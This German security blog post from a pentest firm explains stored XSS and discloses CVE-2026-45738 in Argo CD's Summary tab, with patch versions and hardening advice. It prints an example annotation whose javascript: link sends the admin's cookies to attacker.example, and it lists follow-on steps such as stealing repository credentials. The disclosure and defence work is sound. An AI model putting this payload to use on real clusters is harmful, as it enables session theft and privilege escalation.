Web/API-PentestJan Kahmen6 min Lesezeit

Stored XSS und seine Gefahren: Anatomie einer persistenten Angriffsfläche

Stored XSS persistiert im Backend und feuert bei jedem Aufruf neu. Anatomie der Sink, Vertrauenskontext und Privilege Escalation einer unterschätzten Klasse.

Warum Stored XSS eine eigene Risikoklasse ist

Cross-Site-Scripting ist seit zwei Jahrzehnten in der OWASP Top 10 gelistet, und trotzdem ist die Verwechslung zwischen Reflected und Stored XSS in Risikobewertungen Alltag. Beide Varianten enden im Browser des Opfers mit Skriptausführung im Vertrauenskontext der Zielanwendung, aber der Weg dorthin macht den Unterschied. Reflected XSS braucht einen präparierten Link und ein Opfer, das ihn anklickt. Stored XSS landet im Backend, persistiert dort und feuert bei jedem Seitenaufruf eines beliebigen Anwenders neu. Wer eine Stored XSS in ein Produkt einschleust, wartet nicht auf Phishing-Erfolg, sondern lässt das System die Auslieferung übernehmen.

Dieser Beitrag erklärt die technischen Eigenschaften von Stored XSS und zeigt anhand von CVE-2026-45738 (GHSA-h98r-wv3h-fr38), die unser Analyst im Rahmen eines Source-Code-Reviews im Argo CD UI gefunden hat, welcher konkrete Schaden in einem GitOps-Stack daraus entsteht.

Anatomie einer Stored XSS

Eine Stored XSS hat drei Bestandteile, die alle zusammenkommen müssen: eine Source, die nutzergesteuerte Daten entgegennimmt; eine Persistenz-Schicht, die diese Daten serverseitig ablegt; und eine Sink, die die Daten beim Rendern unsanitisiert in den DOM kippt. In Webanwendungen ist die Source typischerweise ein Formularfeld, eine API-Payload oder eine Konfigurationsoption. Die Persistenz-Schicht ist eine relationale Datenbank, ein Document Store, ein etcd-Cluster oder bei Kubernetes-nativen Anwendungen die Custom Resource selbst. Die Sink ist eine UI-Komponente, die Daten in innerHTML, in ein React-Attribut oder ein DOM-Property ohne kontextbewusste Kodierung schreibt.

Die Sinks variieren nach Framework. In klassischen Server-Side-Templates ist es eine fehlende HTML-Entity-Codierung. In React-Anwendungen sind es dangerouslySetInnerHTML-Aufrufe oder Attribute mit URI-Semantik wie href, src oder formAction, die ohne Schema-Whitelist gesetzt werden. Genau dort sitzt die Schwachstelle in Argo CD.

Was Stored gefährlicher macht als Reflected

Drei Eigenschaften erklären die höhere Risikoklasse. Erstens Reichweite: ein einziger gespeicherter Payload trifft alle Anwender, die die betroffene Seite aufrufen, ohne dass der Angreifer jedes Opfer einzeln anlinken muss. Zweitens Vertrauenskontext: das Opfer kommt aus eigenem Antrieb, ohne externen Stimulus, auf die Seite. Klassische Phishing-Indikatoren wie unbekannte Domains oder verkürzte URLs fallen weg. Drittens Authentifizierungsstatus: Stored XSS trifft genau die Anwender, die ohnehin gerade in der Anwendung arbeiten, also fast garantiert eingeloggt sind. Die Cookies, Tokens und API-Zugänge des Opfers liegen offen für den injizierten Code bereit.

In sicherheitskritischen Stacks kommt eine vierte Eigenschaft dazu: Privilege Escalation. Wenn ein niedrig privilegierter Account Daten ablegen kann, die ein Admin später angezeigt bekommt, eskaliert die XSS automatisch auf das höchste verfügbare Rechte-Level. Genau dieses Muster greift CVE-2026-45738.

Der Befund: CVE-2026-45738 in Argo CD

Argo CD ist ein deklarativer GitOps-Controller für Kubernetes und in vielen produktiven Cloud-Setups das zentrale Deployment-Werkzeug. Anwendungen werden als Application-CRDs definiert; jede Application kann mit Kubernetes-Annotationen versehen werden, darunter Link-Annotationen der Form link.argocd.argoproj.io/<name>. Diese Annotationen werden in der Argo CD UI im Summary-Tab als anklickbare Verweise auf externe Dashboards, Runbooks oder Repository-Adressen gerendert.

Unser Analyst hat die zuständige React-Komponente in ui/src/app/applications/components/application-summary/application-summary.tsx analysiert und in Zeile 277 eine Sink ohne URL-Validierung gefunden. Der Annotation-Wert wird am Pipe-Zeichen gesplittet, parts[0] wird zum sichtbaren Linktext und parts[1] direkt in das href-Attribut geschrieben. Die parallel im Repository vorhandene ApplicationURLs-Komponente hat eine isValidURL()-Prüfung, die javascript:-Schemata blockiert. Die Summary-Komponente hat sie nicht. React 16, das Argo CD nutzt, filtert javascript:-URIs nicht eigenständig aus dem href-Attribut.

Die Folge: ein Entwickler mit Schreibrechten auf eine Application kann eine Annotation der Form

metadata:
  annotations:
    link.argocd.argoproj.io/runbook: "Runbook ansehen|javascript:fetch('https://attacker.example/x?c='+document.cookie)"

setzen. Der Linktext lautet harmlos „Runbook ansehen". Sobald ein Admin den Summary-Tab der Application öffnet und auf den Link klickt, läuft der JavaScript-Payload im Origin-Kontext der Argo-CD-Domain mit der vollen Admin-Session. Die Persistenz sitzt in der Kubernetes Custom Resource selbst — ein git-revert allein entschärft die Lücke nicht, solange die kompromittierte Annotation im Cluster verbleibt.

Welcher Schaden konkret entsteht

Der CVSS-Wert von 7.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N) klingt moderat. Im GitOps-Kontext ist die Bewertung jedoch konservativ, weil das Privilege-Modell von Argo CD typischerweise klar getrennt ist: Entwickler haben Schreibrechte auf ihre Application-Manifeste, Admins haben Zugriff auf den Argo-CD-Mandanten, Cluster-Credentials und die globale Projekt-Konfiguration. Sobald ein Admin den Payload triggert, eskaliert ein Application-Owner zu vollem Cluster-Admin über die Argo-CD-API.

Der injizierte Code kann mit der Admin-Session unter anderem RBAC-Policies modifizieren, neue Projekte mit Zugriff auf produktive Cluster anlegen, Repository-Credentials und SSH-Keys exfiltrieren oder eigene Applications mit Sync-Wave-Hooks deployen, die Pods mit ServiceAccount-Mounts starten. Im MITRE-ATT&CK-Modell entspricht das den Techniken T1078 Valid Accounts und T1098 Account Manipulation; die initiale Skriptausführung deckt zusätzlich T1059.007 ab.

Besonders unangenehm: der Payload ist für das Opfer praktisch nicht sichtbar. Der href-Tooltip vieler Browser zeigt bei javascript:-URIs entweder gar nichts oder eine abgeschnittene Form an. Die Anwendung sieht ansonsten exakt aus, wie der Admin sie kennt. Detection setzt nicht auf der UI auf, sondern auf API- oder Audit-Log-Ebene, idealerweise an der Stelle, an der die Annotationen ins etcd geschrieben werden.

Patch und Mitigation

Argo CD hat den Bug in den Versionen 3.2.12, 3.3.10 und 3.4.2 gepatcht. Wer eine ältere Version betreibt, sollte sofort aktualisieren. Die offizielle Release-Notes-Übersicht findet sich in der Argo-CD-Dokumentation.

Wer aus Change-Management-Gründen nicht sofort patchen kann, hat zwei Härtungsschritte. Erstens: eine Kubernetes-Admission-Policy (z.B. Kyverno oder Gatekeeper) verbieten, die Werte in link.argocd.argoproj.io/*-Annotationen mit javascript:, data: oder ohne https://-Präfix ablegen. Das schließt den Persistenz-Pfad, bevor er die Argo-CD-API überhaupt erreicht. Zweitens: eine restriktive Content Security Policy, die script-src 'self' ohne 'unsafe-inline' und ohne 'unsafe-eval' setzt und damit Inline-Skriptausführung blockiert. Das OWASP Cross Site Scripting Prevention Cheat Sheet beschreibt die Defense-in-Depth-Schichten ausführlich.

Lehren für GitOps- und Kubernetes-Stacks

Der Vorfall ist ein guter Anlass, drei Annahmen im Stack zu prüfen. Die erste: jede UI-Komponente, die href oder src aus nutzergesteuerten Daten setzt, braucht eine Schema-Whitelist. Ein simples allowedSchemes = ['http:', 'https:', 'mailto:'] und ein zentraler Helper, der alle Komponenten dagegen prüft, hätten CVE-2026-45738 strukturell verhindert. Die zweite: Kubernetes-Annotationen sind kein „inertes Metadaten-Feld". Sobald ein UI-Layer sie rendert, sind sie eine Injection-Source mit derselben Risikoklasse wie Formulareingaben. Die dritte: Privilege-Modelle in Cluster-nativen Tools schichten Rechte typischerweise stark ab — der Faktor, der das XSS so wertvoll macht, ist nicht der Renderfehler allein, sondern die Tatsache, dass Schreiber und Leser auf unterschiedlichen Rechteebenen sitzen.

Ein gezielter Penetrationstest gegen die UI eines GitOps-Tools deckt diese Sink-Klasse zuverlässig auf, weil das Pattern „Annotation oder Label rendert in Attribut" sich in mehreren Werkzeugen wiederfindet. Wer den eigenen Stack ernst nimmt, audited nicht nur die deklarative Konfiguration, sondern auch die Komponente, die sie anzeigt.

Fazit

Stored XSS unterscheidet sich von ihren reflektierten Geschwistern weniger im Payload als im Auslieferungsmodell. Ein einmal injizierter String wartet ruhig im Backend, bis ihn ein berechtigter Anwender im richtigen Vertrauenskontext aufruft. CVE-2026-45738 ist ein Lehrbuchbeispiel, weil die Schwachstelle exakt am Schnittpunkt von zwei Realitäten sitzt: einer scheinbar harmlosen Konfigurationsoption und einer UI, die diese Option mit zu wenig Misstrauen verarbeitet. Wer GitOps produktiv einsetzt, patcht heute auf 3.2.12, 3.3.10 oder 3.4.2, hängt eine Admission-Policy davor und prüft alle weiteren href-Sinks im UI-Code. Und wer einen Audit plant, schaut nicht nur in die Anwendungseingaben, sondern auch in die Metadaten, die der eigene Cluster täglich speichert.

Unsere Services